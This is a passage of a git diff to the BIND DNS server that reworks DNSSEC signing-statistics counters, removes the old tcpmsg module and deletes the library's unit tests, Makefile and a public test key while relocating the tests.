-	int nidx = (dnssecsign_max_keys - 1) * dnssecsign_block_size;
+	int nidx = num_keys * dnssecsign_block_size;
 	isc_stats_set(stats->counters, kval, nidx);
 	isc_stats_set(stats->counters, 0, (nidx + dns_dnssecsignstats_sign));
 	isc_stats_set(stats->counters, 0, (nidx + dns_dnssecsignstats_refresh));
@@ -418,6 +395,33 @@ dns_dnssecsignstats_increment(dns_stats_t *stats, dns_keytag_t id, uint8_t alg,
 	isc_stats_increment(stats->counters, (nidx + operation));
 }
 
+void
+dns_dnssecsignstats_clear(dns_stats_t *stats, dns_keytag_t id, uint8_t alg) {
+	uint32_t kval;
+	int num_keys = isc_stats_ncounters(stats->counters) /
+		       dnssecsign_block_size;
+
+	REQUIRE(DNS_STATS_VALID(stats) && stats->type == dns_statstype_dnssec);
+
+	/* Shift algorithm in front of key tag, which is 16 bits */
+	kval = (uint32_t)(alg << 16 | id);
+
+	/* Look up correct counter. */
+	for (int i = 0; i < num_keys; i++) {
+		int idx = i * dnssecsign_block_size;
+		uint32_t counter = isc_stats_get_counter(stats->counters, idx);
+		if (counter == kval) {
+			/* Match */
+			isc_stats_set(stats->counters, 0, idx);
+			isc_stats_set(stats->counters, 0,
+				      (idx + dns_dnssecsignstats_sign));
+			isc_stats_set(stats->counters, 0,
+				      (idx + dns_dnssecsignstats_refresh));
+			return;
+		}
+	}
+}
+
 /*%
  * Dump methods
  */
@@ -477,10 +481,12 @@ rdataset_dumpcb(isc_statscounter_t counter, uint64_t value, void *arg) {
 		 * expiry value (active, stale, or ancient).
 		 */
 		if ((counter & RDTYPECOUNTER_MAXTYPE) ==
-		    RDTYPECOUNTER_NXDOMAIN_STALE) {
+		    RDTYPECOUNTER_NXDOMAIN_STALE)
+		{
 			attributes |= DNS_RDATASTATSTYPE_ATTR_STALE;
 		} else if ((counter & RDTYPECOUNTER_MAXTYPE) ==
-			   RDTYPECOUNTER_NXDOMAIN_ANCIENT) {
+			   RDTYPECOUNTER_NXDOMAIN_ANCIENT)
+		{
 			attributes |= DNS_RDATASTATSTYPE_ATTR_ANCIENT;
 		}
 	} else {
@@ -519,18 +525,18 @@ static void
 dnssec_dumpcb(isc_statscounter_t counter, uint64_t value, void *arg) {
 	dnssecsigndumparg_t *dnssecarg = arg;
 
-	dnssecarg->fn((dns_keytag_t)counter, value, dnssecarg->arg);
+	dnssecarg->fn((uint32_t)counter, value, dnssecarg->arg);
 }
 
 static void
 dnssec_statsdump(isc_stats_t *stats, dnssecsignstats_type_t operation,
 		 isc_stats_dumper_t dump_fn, void *arg, unsigned int options) {
-	int i;
+	int i, num_keys;
 
-	for (i = 0; i < dnssecsign_max_keys; i++) {
+	num_keys = isc_stats_ncounters(stats) / dnssecsign_block_size;
+	for (i = 0; i < num_keys; i++) {
 		int idx = dnssecsign_block_size * i;
 		uint32_t kval, val;
-		dns_keytag_t id;
 
 		kval = isc_stats_get_counter(stats, idx);
 		if (kval == 0) {
@@ -542,9 +548,7 @@ dnssec_statsdump(isc_stats_t *stats, dnssecsignstats_type_t operation,
 			continue;
 		}
 
-		id = (dns_keytag_t)kval & DNSSECSIGNSTATS_KEY_ID_MASK;
-
-		dump_fn((isc_statscounter_t)id, val, arg);
+		dump_fn(kval, val, arg);
 	}
 }
 
@@ -600,31 +604,3 @@ dns_rcodestats_dump(dns_stats_t *stats, dns_rcodestats_dumper_t dump_fn,
 	arg.arg = arg0;
 	isc_stats_dump(stats->counters, rcode_dumpcb, &arg, options);
 }
-
-/***
- *** Obsolete variables and functions follow:
- ***/
-LIBDNS_EXTERNAL_DATA const char *dns_statscounter_names[DNS_STATS_NCOUNTERS] = {
-	"success",   "referral", "nxrrset",   "nxdomain",
-	"recursion", "failure",	 "duplicate", "dropped"
-};
-
-isc_result_t
-dns_stats_alloccounters(isc_mem_t *mctx, uint64_t **ctrp) {
-	int i;
-	uint64_t *p = isc_mem_get(mctx, DNS_STATS_NCOUNTERS * sizeof(uint64_t));
-	if (p == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-	for (i = 0; i < DNS_STATS_NCOUNTERS; i++) {
-		p[i] = 0;
-	}
-	*ctrp = p;
-	return (ISC_R_SUCCESS);
-}
-
-void
-dns_stats_freecounters(isc_mem_t *mctx, uint64_t **ctrp) {
-	isc_mem_put(mctx, *ctrp, DNS_STATS_NCOUNTERS * sizeof(uint64_t));
-	*ctrp = NULL;
-}
diff --git a/lib/dns/tcpmsg.c b/lib/dns/tcpmsg.c
deleted file mode 100644
index 47e1d2e19f..0000000000
--- a/lib/dns/tcpmsg.c
+++ /dev/null
@@ -1,234 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/task.h>
-#include <isc/util.h>
-
-#include <dns/events.h>
-#include <dns/result.h>
-#include <dns/tcpmsg.h>
-
-#ifdef TCPMSG_DEBUG
-#include <stdio.h> /* Required for printf. */
-#define XDEBUG(x) printf x
-#else /* ifdef TCPMSG_DEBUG */
-#define XDEBUG(x)
-#endif /* ifdef TCPMSG_DEBUG */
-
-#define TCPMSG_MAGIC	  ISC_MAGIC('T', 'C', 'P', 'm')
-#define VALID_TCPMSG(foo) ISC_MAGIC_VALID(foo, TCPMSG_MAGIC)
-
-static void
-recv_length(isc_task_t *, isc_event_t *);
-static void
-recv_message(isc_task_t *, isc_event_t *);
-
-static void
-recv_length(isc_task_t *task, isc_event_t *ev_in) {
-	isc_socketevent_t *ev = (isc_socketevent_t *)ev_in;
-	isc_event_t *dev;
-	dns_tcpmsg_t *tcpmsg = ev_in->ev_arg;
-	isc_region_t region;
-	isc_result_t result;
-
-	INSIST(VALID_TCPMSG(tcpmsg));
-
-	dev = &tcpmsg->event;
-	tcpmsg->address = ev->address;
-
-	if (ev->result != ISC_R_SUCCESS) {
-		tcpmsg->result = ev->result;
-		goto send_and_free;
-	}
-
-	/*
-	 * Success.
-	 */
-	tcpmsg->size = ntohs(tcpmsg->size);
-	if (tcpmsg->size == 0) {
-		tcpmsg->result = ISC_R_UNEXPECTEDEND;
-		goto send_and_free;
-	}
-	if (tcpmsg->size > tcpmsg->maxsize) {
-		tcpmsg->result = ISC_R_RANGE;
-		goto send_and_free;
-	}
-
-	region.base = isc_mem_get(tcpmsg->mctx, tcpmsg->size);
-	region.length = tcpmsg->size;
-	if (region.base == NULL) {
-		tcpmsg->result = ISC_R_NOMEMORY;
-		goto send_and_free;
-	}
-	XDEBUG(("Allocated %d bytes\n", tcpmsg->size));
-
-	isc_buffer_init(&tcpmsg->buffer, region.base, region.length);
-	result = isc_socket_recv(tcpmsg->sock, &region, 0, task, recv_message,
-				 tcpmsg);
-	if (result != ISC_R_SUCCESS) {
-		tcpmsg->result = result;
-		goto send_and_free;
-	}
-
-	isc_event_free(&ev_in);
-	return;
-
-send_and_free:
-	isc_task_send(tcpmsg->task, &dev);
-	tcpmsg->task = NULL;
-	isc_event_free(&ev_in);
-	return;
-}
-
-static void
-recv_message(isc_task_t *task, isc_event_t *ev_in) {
-	isc_socketevent_t *ev = (isc_socketevent_t *)ev_in;
-	isc_event_t *dev;
-	dns_tcpmsg_t *tcpmsg = ev_in->ev_arg;
-
-	(void)task;
-
-	INSIST(VALID_TCPMSG(tcpmsg));
-
-	dev = &tcpmsg->event;
-	tcpmsg->address = ev->address;
-
-	if (ev->result != ISC_R_SUCCESS) {
-		tcpmsg->result = ev->result;
-		goto send_and_free;
-	}
-
-	tcpmsg->result = ISC_R_SUCCESS;
-	isc_buffer_add(&tcpmsg->buffer, ev->n);
-
-	XDEBUG(("Received %u bytes (of %d)\n", ev->n, tcpmsg->size));
-
-send_and_free:
-	isc_task_send(tcpmsg->task, &dev);
-	tcpmsg->task = NULL;
-	isc_event_free(&ev_in);
-}
-
-void
-dns_tcpmsg_init(isc_mem_t *mctx, isc_socket_t *sock, dns_tcpmsg_t *tcpmsg) {
-	REQUIRE(mctx != NULL);
-	REQUIRE(sock != NULL);
-	REQUIRE(tcpmsg != NULL);
-
-	tcpmsg->magic = TCPMSG_MAGIC;
-	tcpmsg->size = 0;
-	tcpmsg->buffer.base = NULL;
-	tcpmsg->buffer.length = 0;
-	tcpmsg->maxsize = 65535; /* Largest message possible. */
-	tcpmsg->mctx = mctx;
-	tcpmsg->sock = sock;
-	tcpmsg->task = NULL;		   /* None yet. */
-	tcpmsg->result = ISC_R_UNEXPECTED; /* None yet. */
-
-	/* Should probably initialize the event here, but it can wait. */
-}
-
-void
-dns_tcpmsg_setmaxsize(dns_tcpmsg_t *tcpmsg, unsigned int maxsize) {
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-	REQUIRE(maxsize < 65536);
-
-	tcpmsg->maxsize = maxsize;
-}
-
-isc_result_t
-dns_tcpmsg_readmessage(dns_tcpmsg_t *tcpmsg, isc_task_t *task,
-		       isc_taskaction_t action, void *arg) {
-	isc_result_t result;
-	isc_region_t region;
-
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-	REQUIRE(task != NULL);
-	REQUIRE(tcpmsg->task == NULL); /* not currently in use */
-
-	if (tcpmsg->buffer.base != NULL) {
-		isc_mem_put(tcpmsg->mctx, tcpmsg->buffer.base,
-			    tcpmsg->buffer.length);
-		tcpmsg->buffer.base = NULL;
-		tcpmsg->buffer.length = 0;
-	}
-
-	tcpmsg->task = task;
-	tcpmsg->action = action;
-	tcpmsg->arg = arg;
-	tcpmsg->result = ISC_R_UNEXPECTED; /* unknown right now */
-
-	ISC_EVENT_INIT(&tcpmsg->event, sizeof(isc_event_t), 0, 0,
-		       DNS_EVENT_TCPMSG, action, arg, tcpmsg, NULL, NULL);
-
-	region.base = (unsigned char *)&tcpmsg->size;
-	region.length = 2; /* uint16_t */
-	result = isc_socket_recv(tcpmsg->sock, &region, 0, tcpmsg->task,
-				 recv_length, tcpmsg);
-
-	if (result != ISC_R_SUCCESS) {
-		tcpmsg->task = NULL;
-	}
-
-	return (result);
-}
-
-void
-dns_tcpmsg_cancelread(dns_tcpmsg_t *tcpmsg) {
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-
-	isc_socket_cancel(tcpmsg->sock, NULL, ISC_SOCKCANCEL_RECV);
-}
-
-void
-dns_tcpmsg_keepbuffer(dns_tcpmsg_t *tcpmsg, isc_buffer_t *buffer) {
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-	REQUIRE(buffer != NULL);
-
-	*buffer = tcpmsg->buffer;
-	tcpmsg->buffer.base = NULL;
-	tcpmsg->buffer.length = 0;
-}
-
-#if 0
-void
-dns_tcpmsg_freebuffer(dns_tcpmsg_t *tcpmsg) {
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-
-	if (tcpmsg->buffer.base == NULL) {
-		return;
-	}
-
-	isc_mem_put(tcpmsg->mctx, tcpmsg->buffer.base, tcpmsg->buffer.length);
-	tcpmsg->buffer.base = NULL;
-	tcpmsg->buffer.length = 0;
-}
-#endif /* if 0 */
-
-void
-dns_tcpmsg_invalidate(dns_tcpmsg_t *tcpmsg) {
-	REQUIRE(VALID_TCPMSG(tcpmsg));
-
-	tcpmsg->magic = 0;
-
-	if (tcpmsg->buffer.base != NULL) {
-		isc_mem_put(tcpmsg->mctx, tcpmsg->buffer.base,
-			    tcpmsg->buffer.length);
-		tcpmsg->buffer.base = NULL;
-		tcpmsg->buffer.length = 0;
-	}
-}
diff --git a/lib/dns/tests b/lib/dns/tests
new file mode 120000
index 0000000000..e4acc10b18
--- /dev/null
+++ b/lib/dns/tests
@@ -0,0 +1 @@
+../../tests/dns
\ No newline at end of file
diff --git a/lib/dns/tests/.gitignore b/lib/dns/tests/.gitignore
deleted file mode 100644
index 382ef6adb0..0000000000
--- a/lib/dns/tests/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-/zone.data
-/testdata/dnstap/dnstap.file
diff --git a/lib/dns/tests/Krsa.+005+29235.key b/lib/dns/tests/Krsa.+005+29235.key
deleted file mode 100644
index e2d81e79db..0000000000
--- a/lib/dns/tests/Krsa.+005+29235.key
+++ /dev/null
@@ -1,5 +0,0 @@
-; This is a zone-signing key, keyid 29235, for rsa.
-; Created: 20160819191802 (Fri Aug 19 21:18:02 2016)
-; Publish: 20160819191802 (Fri Aug 19 21:18:02 2016)
-; Activate: 20160819191802 (Fri Aug 19 21:18:02 2016)
-rsa. IN DNSKEY 256 3 5 AwEAAdLT1R3qiqCqll3Xzh2qFMvehQ9FODsPftw5U4UjB3QwnJ/3+dph 9kZBBeaJagUBVYzoArk6XNydpp3HhSCFDcIiepL6r8XAifW3SqI1KCne OD38kSCl/Qm9P0+3CFWokGVubsSQ+3dpQZxqx5bzOXthbuzAr6X+gDUE LAyHtCQNmJ+4ktdCoj3DNYW0z/xLvrcB2Lns7H+/qWnGPL4f3hr7Vbak Oeay+4J4KGdY2LFxJUVts6QrgAA8gz4mV9YIJFP+C4B3b/Z7qgqZRxmT 0pic+fJC5+sq0l8KwavPn0n+HqVuJNvppVKMdTbsmmuk69RFGMjbFkP7 tnCiqC9Zi6s=
diff --git a/lib/dns/tests/Makefile.am b/lib/dns/tests/Makefile.am
deleted file mode 100644
index 76e9b96b94..0000000000
--- a/lib/dns/tests/Makefile.am
+++ /dev/null
@@ -1,120 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=				\
-	$(LIBISC_CFLAGS)		\
-	$(LIBDNS_CFLAGS)		\
-	$(KRB5_CFLAGS)			\
-	-DSRCDIR=\"$(abs_srcdir)\"	\
-	-DBUILDDIR=\"$(abs_builddir)\"
-
-LDADD +=			\
-	libdnstest.la		\
-	$(LIBISC_LIBS)		\
-	$(LIBDNS_LIBS)
-
-check_LTLIBRARIES = libdnstest.la
-libdnstest_la_SOURCES = dnstest.c dnstest.h
-
-check_PROGRAMS =		\
-	acl_test		\
-	db_test			\
-	dbdiff_test		\
-	dbiterator_test		\
-	dbversion_test		\
-	dh_test			\
-	dispatch_test		\
-	dns64_test		\
-	dst_test		\
-	keytable_test		\
-	name_test		\
-	nsec3_test		\
-	nsec3param_test		\
-	peer_test		\
-	private_test		\
-	rbt_serialize_test	\
-	rbt_test		\
-	rdata_test		\
-	rdataset_test		\
-	rdatasetstats_test	\
-	resolver_test		\
-	result_test		\
-	rsa_test		\
-	sigs_test		\
-	time_test		\
-	tsig_test		\
-	update_test		\
-	zonemgr_test		\
-	zt_test
-
-TESTS = $(check_PROGRAMS)
-
-if HAVE_PERL
-
-check_PROGRAMS +=		\
-	master_test
-
-EXTRA_master_test_DEPENDENCIES = testdata/master/master12.data testdata/master/master13.data testdata/master/master14.data
-CLEANFILES = $(EXTRA_master_test_DEPENDENCIES)
-
-testdata/master/master12.data: testdata/master/master12.data.in
-	mkdir -p testdata/master
-	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master12.data.in > $@
-
-testdata/master/master13.data: testdata/master/master13.data.in
-	mkdir -p testdata/master
-	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master13.data.in > $@
-
-testdata/master/master14.data: testdata/master/master14.data.in
-	mkdir -p testdata/master
-	$(PERL) -w $(srcdir)/mkraw.pl < $(srcdir)/testdata/master/master14.data.in > $@
-
-endif
-
-if HAVE_GEOIP2
-check_PROGRAMS +=		\
-	geoip_test
-
-geoip_test_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(MAXMINDDB_CFLAGS)
-
-geoip_test_LDADD =		\
-	$(LDADD)		\
-	$(MAXMINDDB_LIBS)
-endif
-
-if HAVE_DNSTAP
-check_PROGRAMS +=		\
-	dnstap_test
-
-dnstap_test_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(DNSTAP_CFLAGS)
-dnstap_test_LDADD =		\
-	$(LDADD)		\
-	$(DNSTAP_LIBS)
-endif
-
-dh_test_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(OPENSSL_CFLAGS)
-
-dst_test_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(OPENSSL_CFLAGS)
-
-rsa_test_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(OPENSSL_CFLAGS)
-
-unit-local: check
-
-EXTRA_DIST =			\
-	Kdh.+002+18602.key	\
-	Krsa.+005+29235.key	\
-	mkraw.pl		\
-	testdata		\
-	testkeys
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/dns/tests/acl_test.c b/lib/dns/tests/acl_test.c
deleted file mode 100644
index f04b8a8e87..0000000000
--- a/lib/dns/tests/acl_test.c
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/print.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/acl.h>
-
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-#define BUFLEN	    255
-#define BIGBUFLEN   (70 * 1024)
-#define TEST_ORIGIN "test"
-
-/* test that dns_acl_isinsecure works */
-static void
-dns_acl_isinsecure_test(void **state) {
-	isc_result_t result;
-	dns_acl_t *any = NULL;
-	dns_acl_t *none = NULL;
-	dns_acl_t *notnone = NULL;
-	dns_acl_t *notany = NULL;
-#if defined(HAVE_GEOIP2)
-	dns_acl_t *geoip = NULL;
-	dns_acl_t *notgeoip = NULL;
-	dns_aclelement_t *de;
-#endif /* HAVE_GEOIP2 */
-
-	UNUSED(state);
-
-	result = dns_acl_any(dt_mctx, &any);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_none(dt_mctx, &none);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_create(dt_mctx, 1, &notnone);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_create(dt_mctx, 1, &notany);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_merge(notnone, none, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_merge(notany, any, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-#if defined(HAVE_GEOIP2)
-	result = dns_acl_create(dt_mctx, 1, &geoip);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	de = geoip->elements;
-	assert_non_null(de);
-	strlcpy(de->geoip_elem.as_string, "AU",
-		sizeof(de->geoip_elem.as_string));
-	de->geoip_elem.subtype = dns_geoip_country_code;
-	de->type = dns_aclelementtype_geoip;
-	de->negative = false;
-	assert_true(geoip->length < geoip->alloc);
-	dns_acl_node_count(geoip)++;
-	de->node_num = dns_acl_node_count(geoip);
-	geoip->length++;
-
-	result = dns_acl_create(dt_mctx, 1, &notgeoip);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_acl_merge(notgeoip, geoip, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-#endif /* HAVE_GEOIP2 */
-
-	assert_true(dns_acl_isinsecure(any));	   /* any; */
-	assert_false(dns_acl_isinsecure(none));	   /* none; */
-	assert_false(dns_acl_isinsecure(notany));  /* !any; */
-	assert_false(dns_acl_isinsecure(notnone)); /* !none; */
-
-#if defined(HAVE_GEOIP2)
-	assert_true(dns_acl_isinsecure(geoip));	    /* geoip; */
-	assert_false(dns_acl_isinsecure(notgeoip)); /* !geoip; */
-#endif						    /* HAVE_GEOIP2 */
-
-	dns_acl_detach(&any);
-	dns_acl_detach(&none);
-	dns_acl_detach(&notany);
-	dns_acl_detach(&notnone);
-#if defined(HAVE_GEOIP2)
-	dns_acl_detach(&geoip);
-	dns_acl_detach(&notgeoip);
-#endif /* HAVE_GEOIP2 */
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(dns_acl_isinsecure_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dbdiff_test.c b/lib/dns/tests/dbdiff_test.c
deleted file mode 100644
index a62496f6eb..0000000000
--- a/lib/dns/tests/dbdiff_test.c
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/dbiterator.h>
-#include <dns/journal.h>
-#include <dns/name.h>
-
-#include "dnstest.h"
-
-#define BUFLEN	    255
-#define BIGBUFLEN   (64 * 1024)
-#define TEST_ORIGIN "test"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static void
-test_create(const char *oldfile, dns_db_t **old, const char *newfile,
-	    dns_db_t **newdb) {
-	isc_result_t result;
-
-	result = dns_test_loaddb(old, dns_dbtype_zone, TEST_ORIGIN, oldfile);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_test_loaddb(newdb, dns_dbtype_zone, TEST_ORIGIN, newfile);
-	assert_int_equal(result, ISC_R_SUCCESS);
-}
-
-/* dns_db_diffx of identical content */
-static void
-diffx_same(void **state) {
-	dns_db_t *newdb = NULL, *olddb = NULL;
-	isc_result_t result;
-	dns_diff_t diff;
-
-	UNUSED(state);
-
-	test_create("testdata/diff/zone1.data", &olddb,
-		    "testdata/diff/zone1.data", &newdb);
-
-	dns_diff_init(dt_mctx, &diff);
-
-	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_true(ISC_LIST_EMPTY(diff.tuples));
-
-	dns_diff_clear(&diff);
-	dns_db_detach(&newdb);
-	dns_db_detach(&olddb);
-}
-
-/* dns_db_diffx of zone with record added */
-static void
-diffx_add(void **state) {
-	dns_db_t *newdb = NULL, *olddb = NULL;
-	dns_difftuple_t *tuple;
-	isc_result_t result;
-	dns_diff_t diff;
-	int count = 0;
-
-	UNUSED(state);
-
-	test_create("testdata/diff/zone1.data", &olddb,
-		    "testdata/diff/zone2.data", &newdb);
-
-	dns_diff_init(dt_mctx, &diff);
-
-	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_false(ISC_LIST_EMPTY(diff.tuples));
-	for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
-	     tuple = ISC_LIST_NEXT(tuple, link))
-	{
-		assert_int_equal(tuple->op, DNS_DIFFOP_ADD);
-		count++;
-	}
-	assert_int_equal(count, 1);
-
-	dns_diff_clear(&diff);
-	dns_db_detach(&newdb);
-	dns_db_detach(&olddb);
-}
-
-/* dns_db_diffx of zone with record removed */
-static void
-diffx_remove(void **state) {
-	dns_db_t *newdb = NULL, *olddb = NULL;
-	dns_difftuple_t *tuple;
-	isc_result_t result;
-	dns_diff_t diff;
-	int count = 0;
-
-	UNUSED(state);
-
-	test_create("testdata/diff/zone1.data", &olddb,
-		    "testdata/diff/zone3.data", &newdb);
-
-	dns_diff_init(dt_mctx, &diff);
-
-	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_false(ISC_LIST_EMPTY(diff.tuples));
-	for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
-	     tuple = ISC_LIST_NEXT(tuple, link))
-	{
-		assert_int_equal(tuple->op, DNS_DIFFOP_DEL);
-		count++;
-	}
-	assert_int_equal(count, 1);
-
-	dns_diff_clear(&diff);
-	dns_db_detach(&newdb);
-	dns_db_detach(&olddb);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(diffx_same, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(diffx_add, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(diffx_remove, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/dbiterator_test.c b/lib/dns/tests/dbiterator_test.c
deleted file mode 100644
index 13a4976d45..0000000000
--- a/lib/dns/tests/dbiterator_test.c
+++ /dev/null
@@ -1,392 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/dbiterator.h>
-#include <dns/name.h>
-
-#include "dnstest.h"
-
-#define BUFLEN	    255
-#define BIGBUFLEN   (64 * 1024)
-#define TEST_ORIGIN "test"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-static isc_result_t
-make_name(const char *src, dns_name_t *name) {
-	isc_buffer_t b;
-	isc_buffer_constinit(&b, src, strlen(src));
-	isc_buffer_add(&b, strlen(src));
-	return (dns_name_fromtext(name, &b, dns_rootname, 0, NULL));
-}
-
-/* create: make sure we can create a dbiterator */
-static void
-test_create(const char *filename) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-create(void **state) {
-	UNUSED(state);
-
-	test_create("testdata/dbiterator/zone1.data");
-}
-
-static void
-create_nsec3(void **state) {
-	UNUSED(state);
-
-	test_create("testdata/dbiterator/zone2.data");
-}
-
-/* walk: walk a database */
-static void
-test_walk(const char *filename, int nodes) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-	dns_dbiterator_t *iter = NULL;
-	dns_dbnode_t *node = NULL;
-	dns_name_t *name;
-	dns_fixedname_t f;
-	int i = 0;
-
-	name = dns_fixedname_initname(&f);
-
-	result = dns_test_loaddb(&db, dns_dbtype_cache, TEST_ORIGIN, filename);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_db_createiterator(db, 0, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	for (result = dns_dbiterator_first(iter); result == ISC_R_SUCCESS;
-	     result = dns_dbiterator_next(iter))
-	{
-		result = dns_dbiterator_current(iter, &node, name);
-		if (result == DNS_R_NEWORIGIN) {
-			result = ISC_R_SUCCESS;
-		}
-		assert_int_equal(result, ISC_R_SUCCESS);
-		dns_db_detachnode(db, &node);
-		i++;
-	}
-
-	assert_int_equal(i, nodes);
-
-	dns_dbiterator_destroy(&iter);
-	dns_db_detach(&db);
-}
-
-static void
-walk(void **state) {
-	UNUSED(state);
-
-	test_walk("testdata/dbiterator/zone1.data", 12);
-}
-
-static void
-walk_nsec3(void **state) {
